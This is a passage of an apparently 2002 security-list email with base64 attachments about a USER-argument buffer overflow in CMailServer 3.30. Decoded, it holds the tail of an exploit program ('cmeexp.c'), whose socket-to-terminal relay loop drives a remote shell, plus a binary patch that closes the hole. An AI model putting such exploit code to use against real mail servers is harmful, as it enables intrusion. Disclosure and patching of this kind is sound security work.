KTwwKSB7DQogICAgICAgICAgICAgICAgICAgICAgICBpZihlcnJubz09RUlOVFIpIGNvbnRpbnVl
Ow0KICAgICAgICAgICAgICAgICAgICAgICAgcHJpbnRmKCJjb25uZWN0aW9uIHJlc2V0XG4iKTsg
ZmZsdXNoKHN0ZG91dCk7DQogICAgICAgICAgICAgICAgICAgICAgICBleGl0KDEpOw0KICAgICAg
ICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBpZihGRF9JU1NFVChmZCwmaW5wdXQpKQ0KICAg
ICAgICAgICAgICAgICAgICAgICAgd3JpdGUoMSxidWZmZXIscmVhZChmZCxidWZmZXIsYnVmc2l6
ZSkpOw0KICAgICAgICAgICAgICAgIGlmKEZEX0lTU0VUKDAsJmlucHV0KSkNCiAgICAgICAgICAg
ICAgICAgICAgICAgIHdyaXRlKGZkLGJ1ZmZlcixyZWFkKDAsYnVmZmVyLGJ1ZnNpemUpKTsNCiAg
ICAgICAgfQ0KDQogICAgICAgIGNsb3NlKGZkKTsNCg0KfQ0KDQo=
--Hush_boundary-3ceac1024cb46
Content-type: text/plain; name="cmeexp.c.sig"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="cmeexp.c.sig"
LS0tLS1CRUdJTiBQR1AgU0lHTkFUVVJFLS0tLS0NClZlcnNpb246IEh1c2ggMi4xDQpOb3RlOiBU
aGlzIHNpZ25hdHVyZSBjYW4gYmUgdmVyaWZpZWQgYXQgaHR0cHM6Ly93d3cuaHVzaHRvb2xzLmNv
bQ0KDQp3ajhEQlFBODZzRk9OblNndDRqTSs3MFJBakFwQUtDLytYY3g2Zjc4MHF2cGdQYzJxdHkv
MzE2V1dnQ2dvTGZLOHdtMg0KbHVuTUlTWk5Zcm5KRVpvQ2dQWT0NCj0vZVhFDQotLS0tLUVORCBQ
R1AgU0lHTkFUVVJFLS0tLS0NCg==
--Hush_boundary-3ceac1024cb46
Content-type: application/octet-stream; name="cmepatch.c"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="cmepatch.c"
LyoNCgljbWVwYXRjaC5jDQoJTWF5IDIwLCAyMDAyDQoJDQoJdGhpcyBpcyBhIHF1aWNrIGFuZCBk
aXJ0eSBwYXRjaC4uIGl0IHNpbXBseSBhZGRzIGZ1bmN0aW9uYWxpdHkgdGhhdA0KCWluc2VydHMg
YSBOVUxMIGFzIHRoZSAyMDB0aCBieXRlIG9mIHRoZSBwYXNzZWQgVVNFUiBhcmd1bWVudCBwcmlv
cg0KCXRvIHRoZSBhZmZlY3RlZCBzcHJpbnRmKCkuLiBub3QgZXZlbiByZW1vdGVseSBlbGVnYW50
IGJ1dCBlbm91Z2ggdG8NCglzdG9wIHlvdSBmcm9tIGdldHRpbmcgaXpuMHduM0QNCgkNCglJIFRB
S0UgTk8gUkVTUE9OU0lCSUxJVFkgRk9SIFRIRSBEQU1BR0UgVEhJUyBNQVkgRE8NCglUTyBZT1VS
IFNZU1RFTSwgRUdPLCBXRUVXRUUsIE9SIE9USEVSV0lTRSA7fn5+fn48DQoNCgkyYzc5Y2JlMTRh
YzdkMGI4NDcyZDNmMTI5ZmExZGY1NUBodXNobWFpbC5jb20NCg0KKi8NCg0KDQojaW5jbHVkZSA8
c3RkaW8uaD4NCg0KICAgICAgICBGSUxFICpjbWFpbDsNCg0KICAgICAgICBjaGFyIHAxW10gPSB7
MHgwMCwweGQwfTsNCiAgICAgICAgY2hhciBwMltdID0gezB4ZTksMHgxNiwweDgyLDB4MDQsMHgw
MCwweDkwLDB4OTB9Ow0KICAgICAgICBjaGFyIHAzW10gPSB7MHg4MSwweGM0LDB4MTUsMHgyNCww
eDAwLDB4MDAsMHhjNiwweDA0LDB4MjQsMHgwMCwweDgxLDB4ZWMsMHgxNSwweDI0LDB4MDAsMHgw
MCwNCgkJICAgICAweDhkLDB4YmMsMHgyNCwweDRkLDB4MjMsMHgwMCwweDAwLDB4ZTksMHhkMCww
eDdkLDB4ZmIsMHhmZiwweDkwfTsNCg0Kdm9pZCBtYWluKCl7DQoJDQoJcHJpbnRmKCJDTWFpbFNl
cnZlciAzLjMwIFBBVENIIChNYXkgMjAsIDIwMDIpXG4yYzc5Y2JlMTRhYzdkMGI4NDcyZDNmMTI5
ZmExZGY1NUBodXNobWFpbC5jb21cblxuIik7DQoNCiAgICAgICAgY21haWwgPSBmb3BlbigiQ01h
aWxTZXJ2ZXIuZXhlIiwgInJiKyIpOw0KDQogICAgICAgIGlmKCFjbWFpbCl7cHJpbnRmKCInQ01h
aWxTZXJ2ZXIuZXhlJyBub3QgZm91bmQgb3Igd3JpdGUgcHJvdGVjdGVkXG4iKTtyZXR1cm47fQ0K
DQogICAgICAgIGZzZWVrKGNtYWlsLDB4MWU4LDApOw0KICAgICAgICBmd3JpdGUoJnAxLHNpemVv
ZihwMSksMSxjbWFpbCk7DQogICAgICAgIGZzZWVrKGNtYWlsLDB4MTU5ZjQsMCk7DQogICAgICAg
IGZ3cml0ZSgmcDIsc2l6ZW9mKHAyKSwxLGNtYWlsKTsNCiAgICAgICAgZnNlZWsoY21haWwsMHg1
ZGMwZiwwKTsNCiAgICAgICAgZndyaXRlKCZwMyxzaXplb2YocDMpLDEsY21haWwpOw0KDQogICAg
ICAgIGZjbG9zZShjbWFpbCk7DQoNCglwcmludGYoInBhdGNoIHN1Y2Nlc3NmdWxcbiIpOw0KfQ0K
--Hush_boundary-3ceac1024cb46
Content-type: text/plain; name="cmepatch.c.sig"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="cmepatch.c.sig"
LS0tLS1CRUdJTiBQR1AgU0lHTkFUVVJFLS0tLS0NClZlcnNpb246IEh1c2ggMi4xDQpOb3RlOiBU
aGlzIHNpZ25hdHVyZSBjYW4gYmUgdmVyaWZpZWQgYXQgaHR0cHM6Ly93d3cuaHVzaHRvb2xzLmNv
bQ0KDQp3ajhEQlFBODZzRlVOblNndDRqTSs3MFJBa0ZzQUo5dHhSUmZ5RGRoSVJ5UmhqV0lqUndk
aGFubGFBQ2dyWlkyWFY2UA0KL2JWaCtUb2h6SXdHU3h3a09zZz0NCj16T2hQDQotLS0tLUVORCBQ
R1AgU0lHTkFUVVJFLS0tLS0NCg==
--Hush_boundary-3ceac1024cb46--
